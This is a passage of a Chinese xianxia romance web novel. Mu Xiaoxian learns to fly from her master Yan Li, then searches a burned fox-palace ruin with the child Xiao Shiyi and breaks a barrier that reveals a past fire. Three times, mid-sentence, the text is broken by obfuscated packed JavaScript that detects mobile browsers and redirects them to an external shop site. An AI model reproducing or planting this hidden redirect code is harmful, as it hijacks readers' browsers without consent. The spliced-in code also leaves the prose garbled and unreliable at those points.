一夜之间,不知道从哪里飘来的各色落叶在院外铺了一层薄薄的地毯,踩在上面清脆悦耳。日头正好,偶尔从远方传来三五声鸟儿的啼鸣。 “今日指点你如何腾空。你仙力浅薄,要多加练习。” 慕小闲点头如捣蒜:“我一定好好练。” “仙力下沉运至双腿,双腿需放松,脚心发力......”晏离一扬袖腾空而起,悬在几米高空,负手而立。青林翠竹间,白衣缥缈如雾,不落俗尘。 看起来好像并不难?慕小闲深吸一口气,使劲将丹田凝聚起来的力量往下推,那股力量十分稀薄,且不易察觉,她一时不得要领,急得额头渗出了细密的汗珠。 晏离缓缓降落,忽然脚踝的黑色印记闪过一道寒光,他踉跄两步从虚空摔了下来。慕小闲赶紧撤了力量伸手去扶,只见那黑色的印记好像有生命一般又缩小了一些。 晏离仿佛毫无知觉,神色一丝未变,只是唇色苍白了许多,他摆摆手:“你先试试。” 慕小闲收起眼中的担忧,沉下心,屏息凝神微蹙起眉头,将仙力运至双腿,感受那股微弱的仙力在腿部经络流转。 她闭上眼睛,专注地将力量往脚心怼。心跳不知不觉间加快,呼吸也变得短促,她上身提气,脚下发力,一睁眼,眼前的视野丝毫未变,她居然一丝一厘都没有升起。 “别急。” 慕小闲点点头,再次闭上眼睛,用心感受,一呼一吸间感觉身体有些飘飘然。她好像一棵被拔高的小树苗,陡然有一种向上生长的感觉。她睁开眼睛,眼珠转了一圈,景物还是未变。 慕小闲干笑几声,集中注意力再来,三番五次居然都没成功,难免有些尴尬。 晏离垂眸思索了一下,掌心向下朝她伸出手,手腕一起一落,手下凭空出现了几颗漂浮的透明水滴。水滴朝慕小闲飘去,在阳光下晶莹剔透。 慕小闲疑惑地看着水滴,伸手去触碰。没想到水滴在她指尖变了形状,像有生命一样滑走。 晏离道:“感受仙力是如何流动的。” 几颗水珠在空中漫无目的地浮游,互相靠近,最终融合在一起,形成了更大的水珠...... 慕小闲睁大眼睛观察水滴,不,是凝成水滴的仙力,一点一滴汇集在眼前,凝成了一团。水珠在阳光照射下,透出七彩虹光,映射出了竹林的色彩。 身体里的仙力看不见摸不着,她一直找不到感觉,原来它是这样的。它是纯净的、流动的、可以变成任何形状。现在这种神奇的力量在她体内流淌,她要学会感受、习惯、使用。 她闭上眼睛,身心放松,祛除一切的杂念,静静地立在原地。 清风如一只轻柔细腻的手在林间拂过,树枝随之摇曳,树叶沙沙作响。水面带起涟漪,清风托着蜻蜓在湖面轻点。 身后的发丝随风扬起,她控制着体内的暖流从腹部蔓延开,一点一点流入四肢百骸,暖流经过的部位微微发烫,仿佛充满了力量。她的心里获得了无法言表的平静与安宁,身体变得轻盈,她像是要挣脱躯壳,破体而出...... 她缓缓睁开眼睛,四下一瞟...... 她的双脚离地面约莫两指左右的空隙,她又一提气,脚下使劲儿,顿时上升了一米高。现在她比晏离高了半个身子,能看到院子门前蜿蜒曲折没入山林的小径。 “不错。”晏离转身走到树下小憩。 她心里一阵欢喜,深呼吸一口继续发力,又上升了几米。 高处别有一番风景,她的高度已经能看到远处的树冠。大朵大朵翠绿的树冠簇拥在一起,将树下的风景遮挡的严严实实。阳光洒在密集的树叶上,泛着淡淡金辉。 远处山脉延绵不绝,一片翠绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137701|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涌入了云海深处。 一只不知名的鸟儿,从浓密的树叶中一头冲出对着长空啼鸣,好像冲破了桎梏的囚笼获得新生与自由。一扭头,看到同样凌驾于树丛之上的慕小闲本闲,翅膀一顿,差点儿原地摔下去。为什么它看到那个“混世魔王”在天上?她她她该不会学会飞了吧? 领空告急!领空告急啊!她该不会要开始抓鸟儿吃了吧,呜呜呜这日子没法儿过了...... 慕小闲看着鸟儿像是惊吓过度又钻回树林,感到疑惑,不由自主地往前走。脚下刚挪一步,就觉得腿部的力量像被抽了去,双腿一软从高空栽了下去。 眼前天旋地转! 一股清香强势侵入,腰间被人轻轻一托。 转眼之间,本来在树下休息的晏离,已经将她横腰抱起。眼前是翻飞的白色衣袍,随意散落的发丝落在慕小闲的唇边,他俊秀的脸庞离她不过咫尺,眼底闪过一丝波动。 慕小闲在他怀中眨眨眼睛,似乎没反应过来刚才发生了什么。 “怎么回事?”晏离的目光落在慕小闲茫然的脸上。他观察过她平日里的修炼,她的仙力虽少,但不至于在空中寸步难行。 慕小闲从怔愣中醒神,从晏离身上下来:“我也不知道怎么,仙力突然就消失了。” “进屋。我探探你的经脉。” 慕小闲跟着晏离走进屋内,这是她第一次走进晏离的房间,房内整洁寡淡,还有一股独属于他的清冷气息。一方榻,一张窄窄的木床,一只竖起的古琴就是全部家当。陈设不知辗转了多少年,表面沾染了岁月陈旧的气息,但打理得干净光滑。 晏离撩起衣摆,盘腿坐在榻上,示意慕小闲同样坐在他面前。 慕小闲盘腿坐好,晏离的掌心贴上她的后背,她立刻挺直了身体。 晏离的掌心运气,暖意缓缓输入慕小闲的后背,然后流向了慕小闲的经脉。这股暖流像是有意识一般在慕小闲体内流动,她觉得自己像一个上了锁的箱子,而晏离就是那把开启的钥匙。 慕小闲观察着眼前靠在墙边的古琴,那是一把琴头雕刻着繁花的琴,她在刚来竹屋时听晏离弹过一次。 那琴声婉转含蓄,如丝绸一般顺滑悦耳,其中的情绪不似苏怜漪那般纠结反复,而是像紧紧包裹着的茧,泛着乳白色的光辉。待你想要俯身从中窥个究竟,他又向后一拨,话一句不足为外人道也。 有匪君子,如切如磋,如琢如磨,瑟兮僴兮,赫兮咺兮。有匪君子,终不可谖兮。 终不可谖兮......他为什么不再弹了? 身后的晏离闭着眼睛凝神运气在慕小闲身体里探查,随着时间推移,额头渗出了汗珠,脸色渐渐苍白。运行几个周天过后,他的手掌猝然离开慕小闲,空气中传来急促的喘息。 慕小闲立刻转过身,只见他脸色苍白如纸,睫毛轻颤,汗湿了发丝垂在耳边好像刚刚经历了一场恶战。 “晏离,你还好吗?” “无碍。”晏离微微颔首,缓了一口气,说:“你的仙力很不稳定。在修炼中形成的仙力,并未完全沉淀下来,而是在缓缓地流逝......半个月后,去取一样东西。你答应我的。” 38. 第 38 章 慕小闲日复一日的练着晏离教给她的招式,繁琐枯燥,但对她来说却也不容易。她看着厨房里的水缸,反手对着没有一丝波纹的水面运气,一股无形的波动带动了水面,水面由中心向外泛起了两圈涟漪。 她已用了八份力气,但控水对于她这种初学者来说还是太难,不由蹙起眉又加重几分力道。 一股水流从水面隆起,大约两三厘米高,慕小闲大喜过望,肩上一松,就见隆起的水流“啪”的一声又落了回去。 她失望地甩了甩手,果然还是不行。 门外一阵窸窣,慕小闲闻声而出,就见一坨白团子从从草丛里滚了出来,一路滚进了自家院子。她拎起白团子,一双妩媚的狐狸眼从蓬松的尾巴后面露出来,接着就听到一声放肆的大叫:“慕小闲你放我下来!” 嘿!这小祖宗怎么总喜欢用原型登场。 慕小闲将白团子往地上一丢,“啪”的一团白雾过后,出现了一个主观上不想承认,但客观来说挺漂亮的小男孩。 小十一东张西望,媚眼转了转,声音谄媚地问:“我叔父呢?” “在屋里。你找他有事?”慕小闲往房里一指。 “我待在狐狸洞里无聊,也想来学习学习。对了,你学得怎么样?背口诀了吗?会不会运气?”小十一眼里这个无异于凡人的散仙,废柴一个,在这里待了两月余一定什么也没学会。 “你也太看不起人了。”慕小闲不屑和小孩斗嘴。 轻掩的门被推开,青衫白衣出现在竹屋前,平淡地略过小十一,而后稍稍抬眸,目光在慕小闲身上短暂停留。 小十一缠上晏离,殷切地问:“叔父,你找我什么事?是不是想着收一个徒弟也是收,收两个也是收,所以把我也打包收了?” 慕小闲:你倒是很会想。 晏离道:“找你来是需要你和她一起去武祁山,替我寻个东西。” 小十一一听,眼神略有失望:“我还以为叔父有好事想到我了,原来是想让我陪慕小闲出去,她一个大人出门为什么要我一个孩子陪啊,若是遇到危险她说不定跑得比我还快呢。” 晏离的眸光扫过小十一的脸:“不去?”声音冷了几分,落在小十一耳朵里,仿佛带着威逼的意味。小十一顿时收声,眼神透着一丝不情愿。 晏离放过小十一,又朝慕小闲投来目光,他越过小十一向她走了几步,伸手幻化出两件物什。一件是张捆绑的卷纸,另一件像个巴掌大小的椭圆胭脂盒。 慕小闲小心翼翼地接了过来,眼里是掩饰不住的雀跃:“这是给我的礼物吗?” “这是武祁山的地图和上古神镜的碎片。” “上古神镜?”小十一跑过来,瞪大了眼睛:“就是那个随时可以和别人联系的镜子?” 慕小闲:哦,视频聊天,这个功能我熟啊。 晏离颔首:“你仙力不足,无法使用传讯术,如果遇到特殊情况,可以用这块镜子和我联系。” 慕小闲将地图打开一看,上面用简笔勾勒了几条波浪,右边偏上的山下打了一颗五角星。看来要找的东西应该就在这里。 “我要找的是什么东西?”慕小闲问。 晏离看着她说:“不知。” 慕小闲一怔:“不知是什么东西,我应该怎么找?” 晏离一息之后道:“你到了便会知道。” 小十一在一旁观察了一圈儿,隐隐觉得小叔对慕小闲的态度貌似比对自己还要柔和很多,心中更加郁结。小叔都没有送过他什么见面礼!逢年过节的压岁钱也没给过!虽然他们之前没见过,但后补也行啊。 小十一毕竟还是个孩子,想到这里露出了委屈之色,红着眼眶,目光在慕小闲和晏离之间逡巡。 慕小闲心里有了几分了然,她和晏离不过是师徒情分,自然比不上小十一是沾亲带故的亲戚。 晏离对待小十一严格,对自己却很客气,就像一般父母对别人家小孩比较关照似的。小十一或许心里不舒服,但他至少还有血亲,她才是孤家寡人一个。 慕小闲眼珠一转,哄道:“小十一,这次劳烦你陪我一起出门,以后要是得到了什么宝贝我送给你。” 小孩子就是好糊弄,小十一一听眼眶的红立马隐去,撇了一眼慕小闲,挑了下眉:“我才不稀罕你的东西,我是为了我叔父去的。” 不管他是为谁去的,小十一对青丘比较熟悉,带着他总比慕小闲一个人什么也不知道要强。 慕小闲没有包袱行李需要收拾,此行到底会遇到什么她也完全没有概念,还以为只是一个普普通通的寻宝游戏。 临走前,晏离不远不近地跟在他们身后,走至竹林,慕小闲回头对晏离笑着说:“你回去休息吧,我们很快就回来。” 晏离微微一怔,轻轻地“嗯”了一声。 晏离不喜于色,慕小闲是知道的,她未多想就转过头踩在小十一的祥云上,上升了几米向东北方飞去。她不知道的是,晏离的目光在她转身后又落回了她的身上,一直目送她远去,直至消失不见。 热闹了许多天的竹林又冷清下来,微风卷起脚边的落叶,吹动了晏离的青丝,他站在原地久久未动。 小十一的祥云和小十一一样调皮,东晃一下西晃一下,飞得很不安稳。纵然慕小闲已经可以腾空,站在祥云上依旧提心吊胆。 飞行到一半,慕小闲从衣襟里掏出地图展开来看,小十一无所事事,也凑过来没话找话。 “叔父是不是很严厉?你这段时间是不是过得很惨?是不是每日三更睡五更就要起来练功,言行举止必须规规矩矩,还不能沾半点荤腥?” 哈?他在说谁?她腰上多的一圈肉可都是在晏离眼皮子底下养出来的。 “我这段时间虽然修炼得很辛苦,但没有受到其他拘束。别道听途说,你又不是不认识晏离,他才不是这样的人。” 小十一撇撇嘴,一副不相信的样子:“我就是看他一直冷冷的才会问你,他不近人情是出了名的,听说先前姑姑在他这儿都吃了不少苦头。” 慕小闲心想,她和白瑶怎么能相提并论,白瑶是青丘之主,必然肩上的责任更重,修炼也是一丝一毫都不能出差错。至于她嘛,都不知是从哪里冒出来,学仙术也是为了保命要紧。晏离答应教她已经仁至义尽了,怎么教还不是他说了算。但又不能让小十一觉得有失偏颇,所以语重心长地说:“他严厉也是为我好。若是我无法学成,日后说出去,不是掉了他的面子?” 小十一愈加难以置信地看了慕小闲一眼,仿佛不敢相信这话是从她口中说出来的。 祥云高高低低地飞行了半日,拖着长长的尾巴在连绵的山脉中穿梭。 “你从前去过武祁山吗?”慕小闲问。 小十一看着地图说:“没去过。青丘的妖仙大多集中在长乐宫周边,这座山脉虽然在地图上不算偏僻,但离长乐宫太远了。” 几条波浪过于简单,看不出有何玄机。慕小闲将地图举到头顶,对着光线看地图本身会不会有什么猫腻,但没看出特别之处。 “诶,叔父给你的那面上古神镜呢?借我看看?”小十一对这张平平无奇的地图不感兴趣,倒是很好奇那面镜子。慕小闲拿到镜子后打开看过了,就像普通的镜盒一样,里面镶嵌的是个巴掌大的铜镜。 晏离给的宝贝,此时正安安稳稳地贴在她胸前,小十一想要她却不想给,于是说:“等到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她环顾四周像原始森林一般的环境:“我们现在在哪里?”她打开地图,企图在几条波浪线中找到自己的位置,发现在五角星下方一指处多了一个凸出的小红点。 “刚才有这个红点吗?”小十一看了也诧异地摇摇头。 “这个红点代表什么?”慕小闲摸了摸,没发觉有什么异常。她往前走了几步,到了一个更为开阔的地方,红点随之往前移动了一点点。 “这个红点该不会是我们现在的位置吧?”慕小闲猜测道。“刚才明明没有的,怎么突然出现了?” 小十一跟在她身后说:“会不会是因为我们刚才一直在空中?这个红点是我们在地面的位置? “有道理。看来我们离目的地已经很近了。”慕小闲朝四处转悠了一圈,大致找到方向,然后坚定地带着小十一往树丛深处走去。 丛林密布,杂草丛生,像是很久没有人来过。所有的植物野蛮生长,浓郁又嚣张。 慕小闲一点一点扒开半人高的野草,缓慢地向五角星表示的方向走去。小十一的个子刚好被野草挡的看不见路,只能寸步不离地贴在慕小闲身后。 小十一问:“你觉不觉得这里有点儿诡异?” 慕小闲瞧不出来,再加上无知无畏,没有意识到这可能是某些动物天生的预知能力。 地图上的红点渐渐靠近五角星,逐渐和五角星融为一体。 看来就在这附近。 面前的杂草貌似又高了一些,连慕小闲也被挡住了视线。她收起地图,专心用两只手扒开眼前的遮挡物,层层叠叠的杂草像是急促的海浪一般朝她涌来。她就像一只迷失的小舟,只能不停地向前滑行。 小十一抓着慕小闲的衣摆,瞪着两只大眼睛警觉地跟着她往前挪移。前进了一段时间,面前的草木略微稀疏了一些,充沛空气注入,有种拨云见日之感。 他抬起头,还是看不见外面是什么。 慕小闲的身体突然停顿,他刹车不及撞了上去。这一撞,他感觉到慕小闲的身体明显僵硬了。他疑惑的抬起头?看到震惊、错愕、难以置信的表情短短几秒内在她的脸上轮番变换。 “怎么了?”小十一上前扒开面前的草丛,眼前的场景让他倒吸一口冷气。 39. 第 39 章 不远处,是裸露的、碳黑色的石块堆砌的巨大废墟群,火烧风化过后,只剩下断壁残垣。空气中弥漫着陈旧的焦味与散落的石灰,风催动了细小的砂石,从大殿前缺失一角的台阶上一级一级地跳下来。 一只乌鸦扑腾着翅膀,落在断开的石柱顶端,喑哑地叫着,那里早歇了同样几只乌鸦,黝黑的眼珠散发着诡异的光泽。 废墟连亘数里,像一副惨淡的画卷在他们面前铺开。从巨大的体量来看,这座宫殿曾经非常辉煌,然而现在却一片萧索,许多石墙已经被杂草、藤蔓覆盖、掩埋,永远地沉睡过去。 慕小闲许久才找回自己的声音:“这里怎么会有一座宫殿?” 声音将小十一从愣怔中拖拽出来。 他脸色略显苍白,眨了眨眼睛,恍然回神道:“我好像听说过,很多年前长乐宫曾经失火,烧毁了很多东西。”小十一年纪小,或许在他出生时这座宫殿早已荒废,他不知道也很正常。 慕小闲从草丛里走出去,停在台阶前,地图上的红点与五角星已经很接近了。她长吁一口气,不知道是不是为了缓解紧张,再掏出镜盒,将仙力集中在两指尖注入镜子,原本浑浊的镜面渐渐清晰起来。 “晏离,你听得到吗?我们找到了五角星的位置。”镜子只有巴掌大,镜中晏离消瘦的线条更显清冷。 慕小闲将镜子对着面前的废墟,问道:“晏离,这里有一座宫殿废墟,你要找的东西是在这里吗?” “叔父,这里全部烧光了,只有些渣滓。怎么找啊?”小十一凑到镜子前问。 慕小闲将镜子调转回来,只见镜中的晏离神情凝重,道:“你们说,这里有一座宫殿废墟......可是我什么也没看见。” 他的话让慕小闲和小十一一怔,相视一眼,陡然望向那座荒无人烟的宫殿,皆感到不寒而栗。为什么晏离看不见这座废墟?是镜子的原因吗? 须臾,镜子传来:“你们看到的宫殿是什么样子?” 慕小闲迟疑了一下,说:“很大很辉煌,好像被火烧了,现在只留下一片废墟。” 晏离垂眸掩盖了一瞬间眼中的不平静:“东西是我的一位友人留下的,他曾是长乐宫的一名内侍。他说,他将东西放在了最重要的地方。” 聊胜于无的信息与庞大的废墟场形成了鲜明的对比,慕小闲好像被这里萧瑟的气氛感染了,心中也荒凉无比。 慕小闲点点头:“我们先找找看,有事再联系。” 晏离欲言又止,只是叮嘱了一句:“万事小心。” 镜像被掐断,慕小闲小心地将镜盒放回胸前,走向面前残败的宫殿废墟。 大殿的房顶已经塌陷,日光从顶上的空洞照射下来,将殿内投射得灰一块白一块。 “嘶”小十一一不留神踢到了什么东西,向前滚了几米,土灰散落了一地,露出一块破碎的头骨。 他惊得一蹦三尺高,紧紧抓住慕小闲的手臂往后躲。 “妖仙死后留下的是人骨?”慕小闲有些诧异。 “是的。死时是什么形态留下的就是什么样的尸骨。”小十一眼神复杂地看着大殿石柱下散落的几具遗骸,心里很不是滋味。 慕小闲安抚地拍了拍小十一紧紧攥着她的手,轻声道:“别瞎想。都过了那么多年了,这些妖仙该升仙的升仙、该转世的转世,都不知道过了几个轮回了。” 小十一将目光移开,但是眉头却皱着未舒展开,哑着声说:“是天火。” 慕小闲回过头看他。 他眼眶微微红了:“普通的火是无法困住妖仙的。” 那该是多么惨烈的大火啊! 万古宫墙,千古修为,付之一炬,化作一抔黃土。 慕小闲眼前仿佛燃起了熊熊烈火,天崩地裂,哭天抢地,恍若炼狱...... 晏离的那位友人为什么会将东西藏在这里?他......是否也葬身在此呢? “我们从哪里开始找?”小十一问,在这片废墟找一件不知道是什么的东西犹如大海捞针。 “晏离说那位友人从前是宫里的侍从,对他来说最重要的地方肯定不是在大殿、前厅、书房之类的地方,一来侍从一般都在后院活动,二来这些地方常有外人进入,藏东西不安全。或许我们可以直接去......” “寝宫?”小十一眼睛一亮。 范围缩小了近一半,但前殿之后的寝宫面积依然不小。寝宫内院已经杂草丛生,她们走进时还有两只吃草的小鹿抬起头望着她们。 小十一大概有些“皇室血脉”,引得两只小鹿微微颔首,看上去很乖巧温顺。他有些得意,脚步轻快起来,但对于从何找起还是一头雾水,看慕小闲东张西望,忍不住问:“你发现什么了?” 慕小闲正在熟悉环境,垂着头说:“搜素范围还是太大了,我们再想想能不能缩小一点。” 想,从何想起?小十一使劲想也想不明白。 “或许我们可以先了解一下这座宫殿的结构和历史,才能知道哪里是最重要的地方。” “结构?历史?”这么浩瀚的工作让小十一顿感头疼。 “是的,一般宫殿不都有暗格、密室、密道之类的地方吗?如果藏在那里,我们就得研究一下宫殿的构造。” “可是,如果有密室、密道,烧成现在这副样子早就损毁了,而且就算有构造图也被烧光了啊。” 没错,现在这里只有些烧不尽的杂草与碎石,根本不可能找到任何记录。此路不通就换一条,慕小闲喃喃道:“要是知道是谁的侍从就好了。” 小十一眼神忽而闪烁了一下,跟着慕小闲往下想:“他曾在长乐宫做过侍从。长乐宫的侍从并不多,大多是服侍青丘之主或者其他白家人的。但除了青丘之主和她的夫君,还有年幼的孩子,其余白家人都不会住在宫中,所以,宫中的主人只有一位,就是青丘之主。” “这么说,这名侍从十有八九是当时青丘之主的侍从,甚至还有可能曾是白瑶的侍从?” 小十一点点头。 换位思考一下,如果她是白家忠心耿耿的侍从,又是晏离的友人,对于她来说最重要的地方是? “如果你要在你的狐狸洞里藏一件东西,你会藏在哪里?”慕小闲问。 小十一思忖了一下:“肯定是我的房间,其他地方我没办法盯着。” 这名侍从对晏离说将东西放在了最重要的地方,如果指的是他自己的房间,难免有些暧昧。 慕小闲觉得不对,但又不知道该是在哪里,一筹莫展只能边走边看。 从前殿迂回的长廊残迹穿过议事厅,再经过书房,前尘往事仿佛与这些残缺不全的砖瓦碎石一起沉寂多年。 进入内院又是一番景象,寝宫如前殿一样倾倒覆灭,院前挂的牌匾早就化为灰烬,就算剩下几根支架,也分辨不清上面的字迹,更不用说从中找出寝宫的名字。 一连穿过几间简陋的偏房,因为本就没有所属,所以剩下的都是些看不出身份的物什。慕小闲捡了根两臂长的木棍,在墙壁柱子上敲敲打打,没看出有什么不对。 很快日落西山,夜幕降临。在漫天星光的印衬下,本就空寂的废墟更显落寞。它孤零零地坐落在群山之间,与森林为伍,与日月为伴,但却逐渐被人遗忘。 夜里照明的宝物也是有的,例如夜明珠镶嵌的挂饰,小十一随身带的锦盒里有好几串。他们找了一处可以避风的角落,升起篝火,火星啪啪地跳跃,将灰白的宫墙染上一丝久违的暖光。 慕小闲胸前的锦盒震了一下,她赶紧打开,只见晏离端坐在镜子里,身后是那一方熟悉的竹屋。 晏离看着她被火光映红的脸,薄唇轻启:“有进展吗?” 慕小闲摇摇头:“这座宫殿好大,不知从何找起。” 晏离沉默几秒,带着一丝不易察觉的紧张,盯着她问:“你对这里有什么感觉?” 慕小闲敛眉思索须臾:“感觉挺可惜的,好好的一座宫殿被烧成了这副样子。” 慕小闲没有察觉到晏离的异样,又问:“晏离你还知道别的信息吗?什么都可以。你们曾在哪里见过?他有没有提到过什么?”她觉得晏离或许知道什么,但是以他的性子不会随意告知。 “......”晏离果然犹豫了一下才说:“他是内院最高等级的侍从,也是......青丘之主幼年时的伴读,是一位才学兼备、温文儒雅的人。” 小十一靠在一旁的石墙上静静听着,但他们之间的节奏委实太慢,他有些不耐烦地打断道:“叔父,他叫什么名字?” 晏离又陷入了新一轮的沉默,这一次时间更久了,好似他的名字藏着什么秘密,这让慕小闲觉得他们之间的关系更加扑朔迷离。 半晌,他缓缓开口:“阿筝。他叫阿筝。” 慕小闲茫然地与小十一对视一眼,对镜中的晏离道:“这位阿筝究竟为什么要将东西藏在这里?” 或许是火焰渐渐燃尽,镜中晏离的目光黯淡了几分:“他遇上些麻烦,必须这么做。”他并未展开细说,想来是有不能说的缘由,慕小闲不再追问:“如果你还想起了什么再联系我吧。晚安。” 晏离轻声道:“嗯。” 这一晚过得相当安稳,只是在凌晨天色将亮未亮之时,慕小闲做了一个耐人寻味的梦。 梦里她看到了一个扎着好看的发髻的孩童,身穿华贵的粉色襦裙,蹙眉趴坐在一处石桌旁。 花园薄雾弥漫,淡淡笼罩着小桥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137703|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流水,为依山旁水的亭台楼阁更添上几分虚无缥缈的仙气。 一抹温柔之色出现在那孩童的身旁,画面变得柔和,他轻声问:“怎么了?又与他闹别扭了?” 那孩童清亮的声音传来:“先生,你都不知道师父他有多严格!我每日三更才合眼,五更就被叫醒练晨功。不能大摇大摆地走路,不能大声喧哗,还不能随便骂人?他明知道我喜欢吃鸡,但却不允许我沾荤腥!这些天我都快馋死了!啊!” “温柔之色”浅浅地笑了:“他严格也是为你好。”顿了几秒又说:“你怎么知道那些鸡又肥又嫩的?” 孩童瞪大了杏眼,仿佛不小心说漏了嘴:“先生你可别和师父说!狐狸吃鸡不是天经地义吗?不沾荤腥不如出家算了!” “温柔之色”眼里带着暖春一般的笑意:“你是说,不如让你师父出家?” 孩童一怔,眼神一变,立马摇了摇头:“不行不行,他可不能出家。” “哦?为何?” “不为何!就是不行!先生你笑什么?” 梦境戛然而止。 天刚蒙蒙亮,慕小闲被光扰醒了,迷瞪着站起身环顾四周。小十一侧着身子缩在墙角下,还睡的人事不知。 清晨山岚还未褪去,山林笼罩在一层纯白的薄雾之中,倒是和梦中有些相似之处,只是现下衰败的景色再难看出当年是怎样的繁华。 这个梦没头没尾,很有可能是昨日听了小十一说的话潜意识被唬住了。但是一想到那位“温柔的先生”慕小闲心里一揪,竟然有些不可言状的担忧。 慕小闲洗漱的功夫,小十一也揉着眼睛爬起身。野外的生存条件太差,小十一醒来发了一顿起床气。 适逢早起的小鹿蹦蹦跳跳地过来吃草,小十一脸色很不好看地说:“你们在这里生活了这么久都不知道发生过什么,要你们何用?” 小鹿一愣,吓得直哆嗦,连忙往另一方向躲去。 这只可可爱爱的小鹿一副受了天大委屈的表情从慕小闲面前走过,然后走到一个只有零星几株野草的角落继续吃早餐。唉,小可怜。 “你做什么这么说它,它还小,又没亲眼见过。” 小十一烦躁地抓了抓头发说:“这鬼地方什么都没有,连动物都没个成精的。”慕小闲看见远处的小鹿头埋得更低了。 “你别听他瞎说,你想吃什么都可以。”慕小闲走过去对小鹿说。 小鹿抬起头懵懂地看了她一眼,突然一口咬住慕小闲的裤腰? 不是?这个不行啊!这个不能吃吧? “诶,松口,你先松口,你想吃什么?我去给你拔草还不行吗?”慕小闲被小鹿咬着往里拖了几步,小十一赶上来皱着眉头说:“你在干什么?”也不知是对慕小闲还是小鹿说的。 小鹿似乎很怕小十一,眼里涌出了水光,但还是委屈巴巴地不肯松口,慕小闲看到自己的裤腰已经浸湿了一片。 慕小闲灵机一动:“你是不是想带我去哪儿?” 小鹿这才松了口点点头。 青丘的动物多少有些灵性,小鹿跳几步回头看一眼生怕慕小闲他们没跟上来。慕小闲与小十一对视一眼,觉得“宁可错杀一千也不能放过一个”可能是线索的线索。 小鹿带着他们往深宫走去,穿过几层断墙,走到了最深处。 最深处不知是哪位主人的寝宫,受损尤为严重,墙壁熏的焦黑,完全看不出原来的颜色。 外围一圈的野草已经被啃光了,露出了土地本真的黄色,连地皮都有被翻整过的痕迹。但屋子前三米左右的地皮却完好无损,不仅是完好无损,上面还长满了绿油油的小草,甚至还有几朵野花作为点缀。 这条绿色隔离带与前后破败的景物格格不入,不知道的,还以为是哪位工匠特意栽种修剪出来的。 小鹿扬起头兴奋地发出“啊啊”,然后一扭头对着那边新鲜、翠绿的草丛两眼放光。 原来它最想吃的那边的草。 小十一抬腿就往那边的草丛走去,走到草丛边缘,忽然顿住,抬着腿放也不是不放也不是,脸都憋红了。 “怎么了?”慕小闲纳闷地问,然后眼皮一跳,突然反应过来:“难不成有结界?” 小十一收回脚,点了点头。 原来是有结界,所以小鹿没办法走过去吗?难怪里面的野草长的郁郁葱葱,没有遭到动物的啃食。 慕小闲走过去伸手触到了一面透明的墙壁,她敲了敲,还挺结实。 慕小闲思忖道:“这里有结界是不是说明,阿筝藏的东西就在里面?只要把结界打碎就可以过去了吧?” 小十一盯着眼前的结界思索了一会儿,拧眉道:“等等,这或许不是结界......” 40. 第 40 章 “不是结界是什么?” 小十一摇摇头:“不知道,总觉得哪里不对。” 慕小闲上上下下摸索了一通,这不就是她熟悉的结界吗? “不管是什么,先打碎了再说。”慕小闲期待地看着小十一。 小十一诧异:“?” 慕小闲:“难不成还是我吗?” 小十一了然,伸手寒光一现,手中多了一把利剑。剑约一臂长,黑色剑柄上盘着一只金色的小狐狸,两只红宝石眼妩媚又犀利。 慕小闲晾在一边想:好浮夸的儿童玩具。 精巧的剑在小十一手里一摆弄,在晴空下划出了一道金色的波浪。他未有停顿,身上运起一层白气,举起剑刺向那层看不见的结界。 霎时,剑尖与结界触碰之下爆发出炸裂的金色光芒,犹如白日焰火。慕小闲在金光四溢中退了一步,定睛看着结界的变化,在利剑刺入时,眼前的那层景象好像虚晃了一下。 一旁吃草的小鹿停下了咀嚼的嘴,张成了圆型。 小十一眉头紧锁,又提剑横劈过去,利剑与结界摩擦出零星的火花。 慕小闲走上前:“还不行吗?” 两人聚精会神地盯着烧焦塌陷的屋子,突然虹光一晃......结界像阳光下的泡沫一般破裂了...... 两人对视一眼,刚要上前,就听到耳边涌现大片繁杂的声响。 撕心裂肺的尖叫、凌乱的脚步、重物撞击、刺啦刺啦的火声...... 眼前突然燃起熊熊火焰,火光冲天,染红了天际。汹涌的热浪扑面而来,慕小闲与小十一连退数步,退回了院子进口。 慕小闲张大眼睛,惊慌地问:“怎么回事?” 小十一皱着眉头,神色严肃地看着眼前的景象:“不对,这是一个阵法。” 封印她见识过,结界她见识过,阵法又是什么? 小十一说:“你想想,青丘最不缺的就是绿植,为什么这些鹿要待在这个废墟之中啃地皮?” “除非他们根本出不去。”他的猜测让慕小闲起了一层鸡皮疙瘩,小鹿露出“天上地下我最委屈”的表情。 “现在这是怎么回事?”慕小闲问。 “不知道。但,这会不会是......当年的场景?” 慕小闲与小十一一同望去,那间破败的屋子在火光中的虚影是那么高大威严,甚至能看到屋檐雕刻的飞禽走兽,或许那就是它原本丹楹刻桷的样子。 房梁倒塌,琉璃瓦一片片坠落入火海之中。 慕小闲心里没来由地一痛,眼前的景物忽的又发生了变化。 屋里好像有人...... 这个认知让两人眼底都露出了深深的痛惜,小十一撇开目光不忍去看,慕小闲不由自主地上前两步。屋内的虚影匍匐在地上,好似缓缓向门边靠近了几步,停住不动了。 屋外一阵急促的脚步声,接着是凄厉的尖叫:“殿下!殿下!” 火光中传来沙哑的声音:“快......走......” 